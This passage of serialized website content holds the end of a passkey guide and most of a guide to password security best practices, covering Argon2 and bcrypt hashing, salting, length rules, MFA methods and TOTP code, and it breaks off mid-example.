showPasswordLogin();\n}\n",[143,288620,288621,288632,288637,288649,288655,288665,288673,288687,288691,288695,288699,288704,288711],{"__ignoreMap":141},[1560,288622,288623,288625,288627,288630],{"class":1562,"line":1563},[1560,288624,82166],{"class":1669},[1560,288626,38314],{"class":1669},[1560,288628,288629],{"class":1566}," authenticate",[1560,288631,8654],{"class":1570},[1560,288633,288634],{"class":1562,"line":337},[1560,288635,288636],{"class":1649},"  \u002F\u002F Try passkey first\n",[1560,288638,288639,288641,288643,288645,288647],{"class":1562,"line":343},[1560,288640,27984],{"class":1669},[1560,288642,5181],{"class":1570},[1560,288644,38273],{"class":1669},[1560,288646,287574],{"class":1566},[1560,288648,88218],{"class":1570},[1560,288650,288651,288653],{"class":1562,"line":365},[1560,288652,186456],{"class":1669},[1560,288654,1571],{"class":1570},[1560,288656,288657,288659,288661,288663],{"class":1562,"line":889},[1560,288658,28249],{"class":1669},[1560,288660,28065],{"class":1669},[1560,288662,286545],{"class":1566},[1560,288664,90158],{"class":1570},[1560,288666,288667,288669,288671],{"class":1562,"line":1710},[1560,288668,158219],{"class":1570},[1560,288670,102287],{"class":1669},[1560,288672,186487],{"class":1570},[1560,288674,288675,288678,288680,288682,288685],{"class":1562,"line":1717},[1560,288676,288677],{"class":1570},"      console.",[1560,288679,8214],{"class":1566},[1560,288681,1688],{"class":1570},[1560,288683,288684],{"class":5634},"\"Passkey failed, falling back to password\"",[1560,288686,1744],{"class":1570},[1560,288688,288689],{"class":1562,"line":1747},[1560,288690,11612],{"class":1570},[1560,288692,288693],{"class":1562,"line":2507},[1560,288694,4959],{"class":1570},[1560,288696,288697],{"class":1562,"line":2524},[1560,288698,1702],{"emptyLinePlaceholder":363},[1560,288700,288701],{"class":1562,"line":2529},[1560,288702,288703],{"class":1649},"  \u002F\u002F Fallback to password\n",[1560,288705,288706,288709],{"class":1562,"line":2534},[1560,288707,288708],{"class":1566},"  showPasswordLogin",[1560,288710,90158],{"class":1570},[1560,288712,288713],{"class":1562,"line":2542},[1560,288714,1585],{"class":1570},[16,288716,288717],{},"Common fallback methods:",[77,288719,288720,288726,288731,288737],{},[44,288721,288722,288725],{},[47,288723,288724],{},"Password + MFA"," (traditional)",[44,288727,288728],{},[47,288729,288730],{},"Magic link email",[44,288732,288733,288736],{},[47,288734,288735],{},"SMS verification"," (less secure)",[44,288738,288739],{},[47,288740,288741],{},"Backup codes",[11,288743,208883],{"id":161627},[16,288745,288746],{},"Passkeys represent the future of authentication:",[41,288748,288749,288755,288761],{},[44,288750,288751,288754],{},[47,288752,288753],{},"More secure",": Phishing-resistant, unique per site, private key never leaves device",[44,288756,288757,288760],{},[47,288758,288759],{},"Better UX",": No passwords to remember, instant biometric login",[44,288762,288763,288766],{},[47,288764,288765],{},"Industry backed",": Supported by Apple, Google, Microsoft, and the FIDO Alliance",[16,288768,288769],{},"While passwords won't disappear overnight, passkeys are quickly becoming the preferred authentication method for modern applications. Start implementing passkey support today to give your users the best possible authentication experience.",[11,288771,257800],{"id":257799},[41,288773,288774],{},[44,288775,257805,288776],{},[98,288777,170976],{"href":170975},[2043,288779,288780],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":288782},[288783,288784,288787,288792,288797,288801,288805,288809,288810,288811],{"id":256641,"depth":337,"text":2776},{"id":285961,"depth":337,"text":285962,"children":288785},[288786],{"id":240273,"depth":343,"text":240274},{"id":286072,"depth":337,"text":286073,"children":288788},[288789,288790,288791],{"id":286097,"depth":343,"text":286098},{"id":286530,"depth":343,"text":286531},{"id":286845,"depth":343,"text":286846},{"id":287232,"depth":337,"text":287233,"children":288793},[288794,288795,288796],{"id":287236,"depth":343,"text":22314},{"id":287317,"depth":343,"text":287318},{"id":287387,"depth":343,"text":287388},{"id":287453,"depth":337,"text":287454,"children":288798},[288799,288800],{"id":287457,"depth":343,"text":287458},{"id":287561,"depth":343,"text":287562},{"id":287698,"depth":337,"text":287699,"children":288802},[288803,288804],{"id":287702,"depth":343,"text":287703},{"id":288304,"depth":343,"text":288305},{"id":288490,"depth":337,"text":288491,"children":288806},[288807,288808],{"id":288497,"depth":343,"text":288498},{"id":288527,"depth":343,"text":288528},{"id":288611,"depth":337,"text":288612},{"id":161627,"depth":337,"text":208883},{"id":257799,"depth":337,"text":257800},"Learn how Passkeys work with WebAuthn and FIDO2 standards, compare them with traditional passwords, check browser support, and implement passkey authentication in your apps.",{"immutable":363},"\u002Fguides\u002Fpasskeys-future",{"title":285945,"description":288812},"guides\u002Fpasskeys-future","bFHPJQw4oXC7RGE3o6Pf-MSDdYfOJ2giKUXo6JkidFI",{"id":288819,"title":288820,"body":288821,"date":257855,"description":290445,"extension":361,"meta":290446,"navigation":363,"path":253000,"readingTime":2558,"seo":290447,"stem":290448,"__hash__":290449},"guides\u002Fguides\u002Fpassword-security.md","Password Security Best Practices for 2026",{"type":8,"value":288822,"toc":290407},[288823,288825,288828,288831,288835,288838,288904,288908,288915,288922,288926,288931,288934,288939,288950,288955,289097,289102,289164,289168,289171,289282,289311,289315,289375,289379,289384,289388,289391,289411,289415,289418,289459,289463,289466,289603,289608,289612,289616,289627,289631,289663,289667,289670,289676,289679,289690,289694,289697,289701,289773,289777,289878,289882,289885,289899,289903,289962,289966,289980,289984,289988,289991,290202,290207,290211,290214,290246,290250,290253,290279,290282,290296,290300,290304,290321,290325,290342,290346,290397,290399,290405],[11,288824,2776],{"id":256641},[16,288826,288827],{},"Password security remains the primary line of defense for user accounts. Despite advances in authentication technology, weak password storage and handling practices continue to cause major data breaches.",[16,288829,288830],{},"This guide covers the current best practices for password security in 2026, including secure hashing algorithms, proper salt usage, multi-factor authentication, and organizational policies.",[11,288832,288834],{"id":288833},"the-current-threat-landscape","The Current Threat Landscape",[16,288836,288837],{},"Before diving into practices, understand what we are defending against:",[193,288839,288840,288850],{},[196,288841,288842],{},[199,288843,288844,288846,288848],{},[202,288845,287245],{},[202,288847,207],{},[202,288849,34974],{},[211,288851,288852,288862,288873,288883,288894],{},[199,288853,288854,288856,288859],{},[216,288855,256754],{},[216,288857,288858],{},"Trying every possible password combination",[216,288860,288861],{},"Fast with modern GPUs",[199,288863,288864,288867,288870],{},[216,288865,288866],{},"Dictionary attacks",[216,288868,288869],{},"Trying common passwords from lists",[216,288871,288872],{},"Affects 30%+ of users",[199,288874,288875,288877,288880],{},[216,288876,239746],{},[216,288878,288879],{},"Using leaked passwords from other breaches",[216,288881,288882],{},"Massive due to prior breaches",[199,288884,288885,288888,288891],{},[216,288886,288887],{},"Rainbow tables",[216,288889,288890],{},"Precomputed hash lookup tables",[216,288892,288893],{},"Mitigated by proper salting",[199,288895,288896,288898,288901],{},[216,288897,287258],{},[216,288899,288900],{},"Tricking users into revealing passwords",[216,288902,288903],{},"Bypasses all technical defenses",[11,288905,288907],{"id":288906},"password-hashing-never-store-plain-text","Password Hashing: Never Store Plain Text",[16,288909,288910,288911,288914],{},"The golden rule: ",[47,288912,288913],{},"never store passwords in plain text",". If your database is compromised, plain-text passwords give attackers immediate access to every account.",[16,288916,288917,288918,288921],{},"Instead, store ",[47,288919,288920],{},"password hashes"," — one-way cryptographic representations that cannot be reversed.",[33,288923,288925],{"id":288924},"recommended-hashing-algorithms-2026","Recommended Hashing Algorithms (2026)",[288927,288928,288930],"h4",{"id":288929},"_1-argon2-recommended","1. Argon2 (Recommended)",[16,288932,288933],{},"Winner of the Password Hashing Competition (2015), Argon2 is the current gold standard.",[16,288935,288936],{},[47,288937,288938],{},"Why Argon2?",[41,288940,288941,288944,288947],{},[44,288942,288943],{},"Resistant to GPU-based attacks (memory-hard)",[44,288945,288946],{},"Configurable memory, time, and parallelism parameters",[44,288948,288949],{},"Available in most modern languages",[16,288951,288952,8037],{},[47,288953,288954],{},"Implementation (Node.js)",[135,288956,288958],{"className":1607,"code":288957,"language":1609,"meta":141,"style":141},"const argon2 = require('argon2');\n\nasync function hashPassword(password) {\n  return await argon2.hash(password, {\n    type: argon2.argon2id,  \u002F\u002F Hybrid version (recommended)\n    memoryCost: 65536,      \u002F\u002F 64 MB\n    timeCost: 3,            \u002F\u002F 3 iterations\n    parallelism: 4          \u002F\u002F 4 threads\n  });\n}\n\nasync function verifyPassword(hash, password) {\n  return await argon2.verify(hash, password);\n}\n",[143,288959,288960,288976,288980,288994,289007,289015,289026,289039,289049,289053,289057,289061,289080,289093],{"__ignoreMap":141},[1560,288961,288962,288964,288966,288968,288970,288972,288974],{"class":1562,"line":1563},[1560,288963,8180],{"class":1669},[1560,288965,238047],{"class":1576},[1560,288967,8186],{"class":1669},[1560,288969,20658],{"class":1566},[1560,288971,1688],{"class":1570},[1560,288973,238056],{"class":5634},[1560,288975,1744],{"class":1570},[1560,288977,288978],{"class":1562,"line":337},[1560,288979,1702],{"emptyLinePlaceholder":363},[1560,288981,288982,288984,288986,288988,288990,288992],{"class":1562,"line":343},[1560,288983,82166],{"class":1669},[1560,288985,38314],{"class":1669},[1560,288987,250642],{"class":1566},[1560,288989,1688],{"class":1570},[1560,288991,250647],{"class":2219},[1560,288993,9345],{"class":1570},[1560,288995,288996,288998,289000,289002,289004],{"class":1562,"line":365},[1560,288997,9350],{"class":1669},[1560,288999,28065],{"class":1669},[1560,289001,238080],{"class":1570},[1560,289003,151663],{"class":1566},[1560,289005,289006],{"class":1570},"(password, {\n",[1560,289008,289009,289012],{"class":1562,"line":889},[1560,289010,289011],{"class":1570},"    type: argon2.argon2id,  ",[1560,289013,289014],{"class":1649},"\u002F\u002F Hybrid version (recommended)\n",[1560,289016,289017,289020,289022,289024],{"class":1562,"line":1710},[1560,289018,289019],{"class":1570},"    memoryCost: ",[1560,289021,250810],{"class":1576},[1560,289023,191308],{"class":1570},[1560,289025,250815],{"class":1649},[1560,289027,289028,289031,289033,289036],{"class":1562,"line":1717},[1560,289029,289030],{"class":1570},"    timeCost: ",[1560,289032,17821],{"class":1576},[1560,289034,289035],{"class":1570},",            ",[1560,289037,289038],{"class":1649},"\u002F\u002F 3 iterations\n",[1560,289040,289041,289044,289046],{"class":1562,"line":1747},[1560,289042,289043],{"class":1570},"    parallelism: ",[1560,289045,12546],{"class":1576},[1560,289047,289048],{"class":1649},"          \u002F\u002F 4 threads\n",[1560,289050,289051],{"class":1562,"line":2507},[1560,289052,11618],{"class":1570},[1560,289054,289055],{"class":1562,"line":2524},[1560,289056,1585],{"class":1570},[1560,289058,289059],{"class":1562,"line":2529},[1560,289060,1702],{"emptyLinePlaceholder":363},[1560,289062,289063,289065,289067,289070,289072,289074,289076,289078],{"class":1562,"line":2534},[1560,289064,82166],{"class":1669},[1560,289066,38314],{"class":1669},[1560,289068,289069],{"class":1566}," verifyPassword",[1560,289071,1688],{"class":1570},[1560,289073,151663],{"class":2219},[1560,289075,1459],{"class":1570},[1560,289077,250647],{"class":2219},[1560,289079,9345],{"class":1570},[1560,289081,289082,289084,289086,289088,289090],{"class":1562,"line":2542},[1560,289083,9350],{"class":1669},[1560,289085,28065],{"class":1669},[1560,289087,238080],{"class":1570},[1560,289089,90321],{"class":1566},[1560,289091,289092],{"class":1570},"(hash, password);\n",[1560,289094,289095],{"class":1562,"line":2558},[1560,289096,1585],{"class":1570},[16,289098,289099,8037],{},[47,289100,289101],{},"Implementation (Python)",[135,289103,289105],{"className":8259,"code":289104,"language":8261,"meta":141,"style":141},"from argon2 import PasswordHasher\n\nph = PasswordHasher(\n    time_cost=3,\n    memory_cost=65536,\n    parallelism=4,\n    hash_len=32,\n    type=argon2.Type.ID\n)\n\nhash = ph.hash(\"user_password\")\nis_valid = ph.verify(hash, \"user_password\")\n",[143,289106,289107,289112,289116,289121,289126,289131,289136,289141,289146,289150,289154,289159],{"__ignoreMap":141},[1560,289108,289109],{"class":1562,"line":1563},[1560,289110,289111],{},"from argon2 import PasswordHasher\n",[1560,289113,289114],{"class":1562,"line":337},[1560,289115,1702],{"emptyLinePlaceholder":363},[1560,289117,289118],{"class":1562,"line":343},[1560,289119,289120],{},"ph = PasswordHasher(\n",[1560,289122,289123],{"class":1562,"line":365},[1560,289124,289125],{},"    time_cost=3,\n",[1560,289127,289128],{"class":1562,"line":889},[1560,289129,289130],{},"    memory_cost=65536,\n",[1560,289132,289133],{"class":1562,"line":1710},[1560,289134,289135],{},"    parallelism=4,\n",[1560,289137,289138],{"class":1562,"line":1717},[1560,289139,289140],{},"    hash_len=32,\n",[1560,289142,289143],{"class":1562,"line":1747},[1560,289144,289145],{},"    type=argon2.Type.ID\n",[1560,289147,289148],{"class":1562,"line":2507},[1560,289149,8252],{},[1560,289151,289152],{"class":1562,"line":2524},[1560,289153,1702],{"emptyLinePlaceholder":363},[1560,289155,289156],{"class":1562,"line":2529},[1560,289157,289158],{},"hash = ph.hash(\"user_password\")\n",[1560,289160,289161],{"class":1562,"line":2534},[1560,289162,289163],{},"is_valid = ph.verify(hash, \"user_password\")\n",[288927,289165,289167],{"id":289166},"_2-bcrypt-battle-tested-alternative","2. bcrypt (Battle-Tested Alternative)",[16,289169,289170],{},"bcrypt has been the industry standard for over a decade and remains a solid choice.",[135,289172,289174],{"className":1607,"code":289173,"language":1609,"meta":141,"style":141},"const bcrypt = require('bcrypt');\nconst saltRounds = 12;  \u002F\u002F Minimum 12 in 2026\n\nasync function hashPassword(password) {\n  return await bcrypt.hash(password, saltRounds);\n}\n\nasync function verifyPassword(hash, password) {\n  return await bcrypt.compare(password, hash);\n}\n",[143,289175,289176,289192,289208,289212,289226,289239,289243,289247,289265,289278],{"__ignoreMap":141},[1560,289177,289178,289180,289182,289184,289186,289188,289190],{"class":1562,"line":1563},[1560,289179,8180],{"class":1669},[1560,289181,151636],{"class":1576},[1560,289183,8186],{"class":1669},[1560,289185,20658],{"class":1566},[1560,289187,1688],{"class":1570},[1560,289189,151645],{"class":5634},[1560,289191,1744],{"class":1570},[1560,289193,289194,289196,289199,289201,289203,289205],{"class":1562,"line":337},[1560,289195,8180],{"class":1669},[1560,289197,289198],{"class":1576}," saltRounds",[1560,289200,8186],{"class":1669},[1560,289202,19321],{"class":1576},[1560,289204,3409],{"class":1570},[1560,289206,289207],{"class":1649},"\u002F\u002F Minimum 12 in 2026\n",[1560,289209,289210],{"class":1562,"line":343},[1560,289211,1702],{"emptyLinePlaceholder":363},[1560,289213,289214,289216,289218,289220,289222,289224],{"class":1562,"line":365},[1560,289215,82166],{"class":1669},[1560,289217,38314],{"class":1669},[1560,289219,250642],{"class":1566},[1560,289221,1688],{"class":1570},[1560,289223,250647],{"class":2219},[1560,289225,9345],{"class":1570},[1560,289227,289228,289230,289232,289234,289236],{"class":1562,"line":889},[1560,289229,9350],{"class":1669},[1560,289231,28065],{"class":1669},[1560,289233,151660],{"class":1570},[1560,289235,151663],{"class":1566},[1560,289237,289238],{"class":1570},"(password, saltRounds);\n",[1560,289240,289241],{"class":1562,"line":1710},[1560,289242,1585],{"class":1570},[1560,289244,289245],{"class":1562,"line":1717},[1560,289246,1702],{"emptyLinePlaceholder":363},[1560,289248,289249,289251,289253,289255,289257,289259,289261,289263],{"class":1562,"line":1747},[1560,289250,82166],{"class":1669},[1560,289252,38314],{"class":1669},[1560,289254,289069],{"class":1566},[1560,289256,1688],{"class":1570},[1560,289258,151663],{"class":2219},[1560,289260,1459],{"class":1570},[1560,289262,250647],{"class":2219},[1560,289264,9345],{"class":1570},[1560,289266,289267,289269,289271,289273,289275],{"class":1562,"line":2507},[1560,289268,9350],{"class":1669},[1560,289270,28065],{"class":1669},[1560,289272,151660],{"class":1570},[1560,289274,157915],{"class":1566},[1560,289276,289277],{"class":1570},"(password, hash);\n",[1560,289279,289280],{"class":1562,"line":2524},[1560,289281,1585],{"class":1570},[135,289283,289285],{"className":8259,"code":289284,"language":8261,"meta":141,"style":141},"import bcrypt\n\npassword = b\"user_password\"\nhashed = bcrypt.hashpw(password, bcrypt.gensalt(rounds=12))\nis_valid = bcrypt.checkpw(password, hashed)\n",[143,289286,289287,289292,289296,289301,289306],{"__ignoreMap":141},[1560,289288,289289],{"class":1562,"line":1563},[1560,289290,289291],{},"import bcrypt\n",[1560,289293,289294],{"class":1562,"line":337},[1560,289295,1702],{"emptyLinePlaceholder":363},[1560,289297,289298],{"class":1562,"line":343},[1560,289299,289300],{},"password = b\"user_password\"\n",[1560,289302,289303],{"class":1562,"line":365},[1560,289304,289305],{},"hashed = bcrypt.hashpw(password, bcrypt.gensalt(rounds=12))\n",[1560,289307,289308],{"class":1562,"line":889},[1560,289309,289310],{},"is_valid = bcrypt.checkpw(password, hashed)\n",[288927,289312,289314],{"id":289313},"_3-algorithms-to-avoid","3. Algorithms to Avoid",[193,289316,289317,289326],{},[196,289318,289319],{},[199,289320,289321,289323],{},[202,289322,6081],{},[202,289324,289325],{},"Why Avoid",[211,289327,289328,289337,289346,289356,289366],{},[199,289329,289330,289334],{},[216,289331,289332],{},[47,289333,151474],{},[216,289335,289336],{},"Broken, fast, easily reversible",[199,289338,289339,289343],{},[216,289340,289341],{},[47,289342,222190],{},[216,289344,289345],{},"Broken, too fast for password hashing",[199,289347,289348,289353],{},[216,289349,289350],{},[47,289351,289352],{},"SHA-256\u002F512",[216,289354,289355],{},"Designed for speed, vulnerable to GPU attacks",[199,289357,289358,289363],{},[216,289359,289360],{},[47,289361,289362],{},"PBKDF2",[216,289364,289365],{},"Still acceptable but inferior to Argon2",[199,289367,289368,289372],{},[216,289369,289370],{},[47,289371,152203],{},[216,289373,289374],{},"Good but Argon2 is better",[11,289376,289378],{"id":289377},"salting-essential-not-optional","Salting: Essential, Not Optional",[16,289380,78047,289381,289383],{},[47,289382,237423],{}," is a random value added to a password before hashing. Every password must have its own unique salt.",[33,289385,289387],{"id":289386},"why-salts-matter","Why Salts Matter",[16,289389,289390],{},"Without salts, identical passwords produce identical hashes. Attackers can:",[77,289392,289393,289399,289405],{},[44,289394,289395,289398],{},[47,289396,289397],{},"Use rainbow tables"," — precomputed hash lookup tables",[44,289400,289401,289404],{},[47,289402,289403],{},"Detect duplicate passwords"," — \"user123 and user456 have the same password\"",[44,289406,289407,289410],{},[47,289408,289409],{},"Amortize attack cost"," — cracking one hash cracks all identical ones",[33,289412,289414],{"id":289413},"proper-salting","Proper Salting",[16,289416,289417],{},"Modern libraries (Argon2, bcrypt) handle salting automatically — the salt is embedded in the output hash.",[135,289419,289421],{"className":1607,"code":289420,"language":1609,"meta":141,"style":141},"\u002F\u002F Argon2 output includes salt, params, and hash\n\u002F\u002F Example: $argon2id$v=19$m=65536,t=3,p=4$saltBase64$hashBase64\n\nconst hash = await argon2.hash(password);\n\u002F\u002F Store this entire string — it contains everything needed to verify\n",[143,289422,289423,289428,289433,289437,289454],{"__ignoreMap":141},[1560,289424,289425],{"class":1562,"line":1563},[1560,289426,289427],{"class":1649},"\u002F\u002F Argon2 output includes salt, params, and hash\n",[1560,289429,289430],{"class":1562,"line":337},[1560,289431,289432],{"class":1649},"\u002F\u002F Example: $argon2id$v=19$m=65536,t=3,p=4$saltBase64$hashBase64\n",[1560,289434,289435],{"class":1562,"line":343},[1560,289436,1702],{"emptyLinePlaceholder":363},[1560,289438,289439,289441,289443,289445,289447,289449,289451],{"class":1562,"line":365},[1560,289440,8180],{"class":1669},[1560,289442,151591],{"class":1576},[1560,289444,8186],{"class":1669},[1560,289446,28065],{"class":1669},[1560,289448,238080],{"class":1570},[1560,289450,151663],{"class":1566},[1560,289452,289453],{"class":1570},"(password);\n",[1560,289455,289456],{"class":1562,"line":889},[1560,289457,289458],{"class":1649},"\u002F\u002F Store this entire string — it contains everything needed to verify\n",[33,289460,289462],{"id":289461},"legacy-systems-without-built-in-salting","Legacy Systems Without Built-in Salting",[16,289464,289465],{},"If using a primitive hash function (not recommended), generate a random salt:",[135,289467,289469],{"className":1607,"code":289468,"language":1609,"meta":141,"style":141},"const crypto = require('crypto');\n\nfunction hashWithSalt(password) {\n  const salt = crypto.randomBytes(16).toString('hex');\n  const hash = crypto\n    .createHash('sha256')\n    .update(salt + password)\n    .digest('hex');\n  return `${salt}:${hash}`;  \u002F\u002F Store both\n}\n",[143,289470,289471,289487,289491,289504,289530,289541,289553,289567,289579,289599],{"__ignoreMap":141},[1560,289472,289473,289475,289477,289479,289481,289483,289485],{"class":1562,"line":1563},[1560,289474,8180],{"class":1669},[1560,289476,41881],{"class":1576},[1560,289478,8186],{"class":1669},[1560,289480,20658],{"class":1566},[1560,289482,1688],{"class":1570},[1560,289484,41890],{"class":5634},[1560,289486,1744],{"class":1570},[1560,289488,289489],{"class":1562,"line":337},[1560,289490,1702],{"emptyLinePlaceholder":363},[1560,289492,289493,289495,289498,289500,289502],{"class":1562,"line":343},[1560,289494,8648],{"class":1669},[1560,289496,289497],{"class":1566}," hashWithSalt",[1560,289499,1688],{"class":1570},[1560,289501,250647],{"class":2219},[1560,289503,9345],{"class":1570},[1560,289505,289506,289508,289510,289512,289514,289516,289518,289520,289522,289524,289526,289528],{"class":1562,"line":365},[1560,289507,28057],{"class":1669},[1560,289509,250701],{"class":1576},[1560,289511,8186],{"class":1669},[1560,289513,41913],{"class":1570},[1560,289515,41916],{"class":1566},[1560,289517,1688],{"class":1570},[1560,289519,10057],{"class":1576},[1560,289521,9368],{"class":1570},[1560,289523,10052],{"class":1566},[1560,289525,1688],{"class":1570},[1560,289527,41938],{"class":5634},[1560,289529,1744],{"class":1570},[1560,289531,289532,289534,289536,289538],{"class":1562,"line":889},[1560,289533,28057],{"class":1669},[1560,289535,151591],{"class":1576},[1560,289537,8186],{"class":1669},[1560,289539,289540],{"class":1570}," crypto\n",[1560,289542,289543,289545,289547,289549,289551],{"class":1562,"line":1710},[1560,289544,37982],{"class":1570},[1560,289546,151598],{"class":1566},[1560,289548,1688],{"class":1570},[1560,289550,151744],{"class":5634},[1560,289552,8252],{"class":1570},[1560,289554,289555,289557,289559,289562,289564],{"class":1562,"line":1717},[1560,289556,37982],{"class":1570},[1560,289558,151608],{"class":1566},[1560,289560,289561],{"class":1570},"(salt ",[1560,289563,9448],{"class":1669},[1560,289565,289566],{"class":1570}," password)\n",[1560,289568,289569,289571,289573,289575,289577],{"class":1562,"line":1747},[1560,289570,37982],{"class":1570},[1560,289572,151614],{"class":1566},[1560,289574,1688],{"class":1570},[1560,289576,41938],{"class":5634},[1560,289578,1744],{"class":1570},[1560,289580,289581,289583,289585,289587,289590,289592,289594,289596],{"class":1562,"line":2507},[1560,289582,9350],{"class":1669},[1560,289584,34367],{"class":5634},[1560,289586,237423],{"class":1570},[1560,289588,289589],{"class":5634},"}:${",[1560,289591,151663],{"class":1570},[1560,289593,9582],{"class":5634},[1560,289595,3409],{"class":1570},[1560,289597,289598],{"class":1649},"\u002F\u002F Store both\n",[1560,289600,289601],{"class":1562,"line":2524},[1560,289602,1585],{"class":1570},[16,289604,289605,289607],{},[47,289606,259253],{},": This is for illustration only. Use Argon2 or bcrypt instead.",[11,289609,289611],{"id":289610},"password-complexity-requirements","Password Complexity Requirements",[33,289613,289615],{"id":289614},"the-old-way-outdated","The Old Way (Outdated)",[41,289617,289618,289621,289624],{},[44,289619,289620],{},"Must contain uppercase, lowercase, numbers, symbols",[44,289622,289623],{},"Must change every 90 days",[44,289625,289626],{},"Minimum 8 characters",[33,289628,289630],{"id":289629},"the-2026-way-nist-guidelines","The 2026 Way (NIST Guidelines)",[77,289632,289633,289639,289645,289651,289657],{},[44,289634,289635,289638],{},[47,289636,289637],{},"Minimum 12 characters"," — length matters more than complexity",[44,289640,289641,289644],{},[47,289642,289643],{},"Allow all character types"," — including spaces, emojis, Unicode",[44,289646,289647,289650],{},[47,289648,289649],{},"Check against breach databases"," — reject passwords found in known breaches",[44,289652,289653,289656],{},[47,289654,289655],{},"No arbitrary expiration"," — only force changes after a breach",[44,289658,289659,289662],{},[47,289660,289661],{},"No composition rules"," — they make passwords harder to remember, not stronger",[33,289664,289666],{"id":289665},"passphrases-the-better-alternative","Passphrases: The Better Alternative",[16,289668,289669],{},"Encourage users to create passphrases instead of passwords:",[135,289671,289674],{"className":289672,"code":289673,"language":140},[138],"Weak: P@ssw0rd!\nStrong passphrase: correct-horse-battery-staple\n",[143,289675,289673],{"__ignoreMap":141},[16,289677,289678],{},"Passphrases are:",[41,289680,289681,289684,289687],{},[44,289682,289683],{},"Easier to remember",[44,289685,289686],{},"Longer (more entropy)",[44,289688,289689],{},"Resistant to brute force",[11,289691,289693],{"id":289692},"multi-factor-authentication-mfa","Multi-Factor Authentication (MFA)",[16,289695,289696],{},"Even the strongest password can be phished or leaked. MFA adds a critical second layer of security.",[33,289698,289700],{"id":289699},"mfa-methods-ranked-by-security","MFA Methods Ranked by Security",[193,289702,289703,289715],{},[196,289704,289705],{},[199,289706,289707,289709,289711,289713],{},[202,289708,7441],{},[202,289710,22314],{},[202,289712,257021],{},[202,289714,49059],{},[211,289716,289717,289728,289740,289751,289762],{},[199,289718,289719,289722,289724,289726],{},[216,289720,289721],{},"Hardware keys (YubiKey)",[216,289723,257035],{},[216,289725,257038],{},[216,289727,257044],{},[199,289729,289730,289733,289735,289737],{},[216,289731,289732],{},"TOTP (Google Authenticator)",[216,289734,257052],{},[216,289736,257052],{},[216,289738,289739],{},"Great balance",[199,289741,289742,289744,289746,289748],{},[216,289743,83479],{},[216,289745,257038],{},[216,289747,257035],{},[216,289749,289750],{},"Good for mobile apps",[199,289752,289753,289755,289757,289759],{},[216,289754,24009],{},[216,289756,257081],{},[216,289758,257035],{},[216,289760,289761],{},"Avoid if possible",[199,289763,289764,289766,289768,289770],{},[216,289765,97854],{},[216,289767,257095],{},[216,289769,257035],{},[216,289771,289772],{},"Last resort only",[33,289774,289776],{"id":289775},"implementing-totp","Implementing TOTP",[135,289778,289780],{"className":1607,"code":289779,"language":1609,"meta":141,"style":141},"const speakeasy = require('speakeasy');\n\n\u002F\u002F Generate secret for user\nconst secret = speakeasy.generateSecret({ length: 20 });\n\n\u002F\u002F Verify token from user's authenticator app\nconst verified = speakeasy.totp.verify({\n  secret: secret.base32,\n  encoding: 'base32',\n  token: userInputToken\n});\n",[143,289781,289782,289800,289804,289809,289829,289833,289838,289854,289859,289869,289874],{"__ignoreMap":141},[1560,289783,289784,289786,289789,289791,289793,289795,289798],{"class":1562,"line":1563},[1560,289785,8180],{"class":1669},[1560,289787,289788],{"class":1576}," speakeasy",[1560,289790,8186],{"class":1669},[1560,289792,20658],{"class":1566},[1560,289794,1688],{"class":1570},[1560,289796,289797],{"class":5634},"'speakeasy'",[1560,289799,1744],{"class":1570},[1560,289801,289802],{"class":1562,"line":337},[1560,289803,1702],{"emptyLinePlaceholder":363},[1560,289805,289806],{"class":1562,"line":343},[1560,289807,289808],{"class":1649},"\u002F\u002F Generate secret for user\n",[1560,289810,289811,289813,289815,289817,289820,289823,289825,289827],{"class":1562,"line":365},[1560,289812,8180],{"class":1669},[1560,289814,90386],{"class":1576},[1560,289816,8186],{"class":1669},[1560,289818,289819],{"class":1570}," speakeasy.",[1560,289821,289822],{"class":1566},"generateSecret",[1560,289824,23048],{"class":1570},[1560,289826,12391],{"class":1576},[1560,289828,11630],{"class":1570},[1560,289830,289831],{"class":1562,"line":889},[1560,289832,1702],{"emptyLinePlaceholder":363},[1560,289834,289835],{"class":1562,"line":1710},[1560,289836,289837],{"class":1649},"\u002F\u002F Verify token from user's authenticator app\n",[1560,289839,289840,289842,289845,289847,289850,289852],{"class":1562,"line":1717},[1560,289841,8180],{"class":1669},[1560,289843,289844],{"class":1576}," verified",[1560,289846,8186],{"class":1669},[1560,289848,289849],{"class":1570}," speakeasy.totp.",[1560,289851,90321],{"class":1566},[1560,289853,17525],{"class":1570},[1560,289855,289856],{"class":1562,"line":1747},[1560,289857,289858],{"class":1570},"  secret: secret.base32,\n",[1560,289860,289861,289864,289867],{"class":1562,"line":2507},[1560,289862,289863],{"class":1570},"  encoding: ",[1560,289865,289866],{"class":5634},"'base32'",[1560,289868,11943],{"class":1570},[1560,289870,289871],{"class":1562,"line":2524},[1560,289872,289873],{"class":1570},"  token: 